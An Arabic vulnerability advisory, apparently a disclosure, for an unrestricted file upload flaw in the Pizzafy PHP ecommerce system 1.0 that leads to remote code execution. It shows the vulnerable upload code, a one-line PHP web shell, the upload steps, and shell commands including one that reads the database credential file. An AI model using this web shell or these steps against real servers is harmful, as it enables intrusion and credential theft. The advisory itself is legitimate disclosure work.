
| الحقل | القيمة |
|---|---|
| البائع | SourceCodester |
| رابط البائع | https://www.sourcecodester.com |
| المنتج | نظام Pizzafy للتجارة الإلكترونية باستخدام PHP وMySQL |
| رابط المنتج | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| الإصدار | 1.0 |
| الثغرة | رفع غير مقيد للملفات → تنفيذ كود عن بُعد |
| CWE | CWE-434 |
| درجة CVSSv3 | 7.8 (عالية) |
| متجه الهجوم | الشبكة |
| المصادقة المطلوبة | نعم (مسؤول) |
| تفاعل المستخدم | لا شيء |
| الباحث | Imad Alvi |
| التاريخ | 2026-04-12 |
الملف: Pizzafy/admin/admin_class_novo.php → دالة save_menu()
المُعامل: img (ملف)
مسار الرفع: Pizzafy/assets/img/
تتعامل دالة save_menu() في نظام Pizzafy للتجارة الإلكترونية 1.0 مع رفع صور عناصر القائمة دون إجراء أي تحقق من نوع الملف. يسترجع التطبيق امتداد الملف باستخدام pathinfo() لكنه لا يتحقق فعليًا من أنواع الملفات المسموحة أو يقيّدها قبل نقل الملف المرفوع إلى مجلد assets/img/ المتاح عبر الويب. يمكن لمسؤول مُصادق رفع قشرة ويب PHP متنكرة كصورة قائمة، ثم الوصول إليها مباشرة عبر المتصفح لتحقيق تنفيذ كود عن بُعد على الخادم.
الكود القابل للاستغلال في admin_class_novo.php:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
أنشئ ملفًا باسم shell_web2.php بالمحتوى التالي:
<?php echo shell_exec($_GET['cmd']); ?>
سجّل الدخول كمسؤول وانتقل إلى:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
املأ نموذج القائمة بأي قيم صالحة واختر shell_web2.php كملف الصورة. انقر حفظ.
تُدرج القشرة الآن كعنصر قائمة في الصفحة المخصصة للعملاء.
انتقل إلى مجلد الأصول — تم تفعيل سرد الدليل (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
تظهر قشرة PHP المرفوعة في سرد الدليل.
افتح القشرة المرفوعة مباشرة ومرّر أوامر النظام عبر المُعامل cmd:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
الاستجابة — أمر نظام مُنفَّذ على الخادم:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
يمكن لمسؤول مُصادق أن:
تم تفعيل سرد الدليل في مجلد assets/img/، مما يسمح للمستخدمين غير المصادقين بتصفح جميع الملفات المرفوعة بما في ذلك قشرة الويب. وهذا يضاعف خطورة ثغرة رفع الملفات.